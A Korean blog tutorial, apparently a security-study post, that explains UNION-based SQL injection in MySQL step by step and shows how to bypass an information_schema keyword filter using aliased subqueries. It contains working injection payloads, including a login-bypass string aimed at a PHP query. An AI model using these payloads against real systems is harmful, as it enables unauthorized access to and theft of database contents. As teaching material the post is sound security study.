UNION BASED SQL INJECTION 이란
여러개에 쿼리문을 사용하여 하나의 데이터로 출력해야되는 경우 사용하는 방법인 UNION 연산자를 이용하여 SQLI를 수행하는 방법이다.
SELECT column1, column2 FROM TABLE1 ;
UNION
SELECT column1, column2 FROM TABLE2 ;
이때 칼럼의 갯수와 데이터의 형식이 같아야 함에 주의한다.
일반적으로 Union based SQLI를 수행하기 위한 절차는 다음과 같다.
- 칼럼 수 찾기
- DB명 찾기
- 테이블 이름 찾기
- 칼럼 이름 찾기
- 원하는 정보 가져오기
직접 쿼리를 작성해 보며 단계를 밟아가 보겠다.
mysql> create table query_test (
-> seq int not null auto_increment,
-> uid varchar(10),
-> upw varchar(10),
-> name varchar(10),
-> primary key(seq)) ENGINE=MYISAM CHARSET=utf8;
1. 칼럼 개수 맞추기 - order by N
SELECT * FROM query_test order by 4 #colunm 개수 늘려가며 찾기
2. DB NAME 찾기 - DATABASE()
SELECT DATABASE(),1,1,1;
3. TABLE 이름 찾기 - table_schema, table_name, information_schema
SELECT table_schema, table_name from information_schema.tables where table_schema='/*your db name*/';
4. COLUMN 이름 찾기 - column_name, information_schema
SELECT column_name FROM information_schema.columns WHERE table_name='query_test';
Injecting WithOut Column name
사실 이부분이 이 글을 작성한 이유이다.
위에서 실습했던 query 들을 이용하여 간단하게 SQLI를 성공할 수 있으면 좋겠으나, 그렇지 못한 경우가 대부분일 것이다.
column name 을 찾기 위해 실습했던 다음과 같은 query를 이용하려고 한다.
idx=1%20union%20select%201,2,3,column_name%20from%20information_schema.columns%20where%20table_name%3D%27test_table%27%20limit%202,1
그런데, column name을 알지 못한 상태에서 injection을 시도하기 위해 information_schema 를 사용하려 할때, 다음과 같은 코드를 마주치면 어떨까?
if(preg_match("/information|schema|user/i", $_POST['id']) exit("no hack");
결과적으로 'Union' 이 필터링 당하지 않은 상태에서는, 이 상황 에서도 UNION SQLI를 수행할 수 있다.
column name을 알지 못한 상황에서 어떻게 가능할까?
> Alias(별명)을 사용하여 가능하다.
column name 들은 seq, uid, upw, name이다.
이것들은 다음과 같이 대체 될 수 있다.
seq, uid, upw, name이 우리가 선택한 1,2,3,4로 대체 되었다.
다음의 쿼리는 아마 2번째 컬럼 uid 의 값을 리턴해 줄 것이다.
select `2` from (select 1,2,3,4 union select * from query_test)unknown;
이것을 이용하여 다음의 PHP코드를 injecting 해보자
SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';
?id=' or 1 union select 1,x,3,4 from (select 1,2,3 as x,4 union select * from query_test limit 1,1)unknown limit 1,1;#
그렇다면 최종적으로 SQL에는 다음과 같은 코드가 실행 될 것이다.
SELECT * FROM query_test WHERE uid='' OR 1
union SELECT 1,x,3,4 from (SELECT 1,2 as x,3,4 union SELECT * FROM query_test limit 1,1)unkown limit 1,1;#' and $pw_column='{$pw}';
놀랍게도, column의 이름을 알지 못했지만 조회에 성공하였다.
처음 select 문 (제일 밖) 에서 x로 출력될 위치를 정하고(사진상 uid 위치), 두번쨰 select 문에서 as x 로 가저올 값을 정한다.
따라서 SELECT 1,2 as x,3,4 가 아니라 SELECT 1,2,3 as x,4 가 되면 순서상 upw 의 값을 가져오게 된다는 뜻이다.
'Web > SQL, NoSQL' 카테고리의 다른 글
[NoSQL] Redis DB -1 (2) | 2023.07.17 |
---|---|
[MYSQL] MYSQL Shell 초간단 사용법 정리 (0) | 2023.02.10 |